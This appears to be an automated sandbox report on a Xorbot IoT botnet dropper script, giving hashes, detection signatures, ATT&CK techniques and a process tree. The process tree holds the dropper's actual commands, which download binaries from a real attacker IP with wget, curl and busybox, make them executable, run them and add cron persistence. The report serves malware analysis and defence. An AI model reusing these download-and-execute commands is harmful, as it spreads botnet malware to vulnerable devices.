xorbot | b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01/12/2024, 00:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

BNO1X_bins.sh
Size

10KB
MD5

29ec86d77f7675942f8a1012ba9709e4
SHA1

062170abb27a237f8468cd5d69fd32f736fc96fe
SHA256

b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a
SHA512

e28daec2232ae26a0a3a74cee182927727360e36d90970457ae70679a88e74489ffd9532af8c5293b96b8e9999b5fec788508aa0ec69762a22bd7373068e7636
SSDEEP

192:1Iackckcuc9cBUY/u/xXfgbckckcuc9cBwEnH/T:1Ia/nv0wFW/xXfgb/nv0wfH/T

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-6.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-8.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1959) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
841	chmod
848	chmod
861	chmod
728	chmod
826	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	729	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk	827	f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh	842	GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov	849	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
/tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj	862	IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj

Renames itself 1 IoCs

pid	Process
730	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ITeiVq	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/861/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/3/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/141/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/782/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/802/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/810/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/845/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/950/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/9/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/11/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/815/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/819/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/842/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/852/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/14/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/19/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/101/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/892/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/948/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/977/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/784/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/808/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/22/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/76/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/486/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/696/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/738/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/778/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/824/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/870/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/75/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/72/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/733/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/785/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/868/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/23/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/37/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/952/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/1002/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/853/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/854/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/450/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/487/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/755/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/823/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/838/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/839/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/762/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/834/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/796/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/811/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/821/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/985/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/77/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/763/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/923/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/944/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/947/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/826/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/850/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/851/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/871/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
File opened for reading	/proc/889/cmdline	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	wget
File opened for modification	/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	curl
File opened for modification	/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	busybox
File opened for modification	/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk	busybox
File opened for modification	/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh	busybox
File opened for modification	/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov	busybox
File opened for modification	/tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj	busybox

/tmp/BNO1X_bins.sh
/tmp/BNO1X_bins.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  ./ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:729
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:731
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:732
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:733
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:734
- /bin/rm
  rm ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  PID:736
- /usr/bin/wget
  wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  PID:824
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  ./f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  PID:829
- /usr/bin/wget
  wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  PID:839
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - Writes file to tmp directory
  PID:840
- /bin/chmod
  chmod 777 GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  ./GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  PID:844
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  PID:846
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod 777 Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  ./Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  PID:850
- /usr/bin/wget
  wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  PID:852
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  - Writes file to tmp directory
  PID:853
- /bin/chmod
  chmod 777 IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  ./IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
  2⤵
  PID:865

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.ITeiVq

Filesize
210B

MD5
9ec9118b20076c83cbd55dd3282f8d9a

SHA1
ba4e41fd025d0d904b020303c6b44a13f81c3c99

SHA256
a96a1a9e55bdee3c8cf9302deb9bb026987da0fcce9f1d3bb29403219cc9e30d

SHA512
61c022307a129c9a75f5d1a1541dc55affcceb451eb53808703632e16d050e0c60ac0709f21a8db69a43be292f940076c07e40c51a272429baee5ac56d86aebd

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads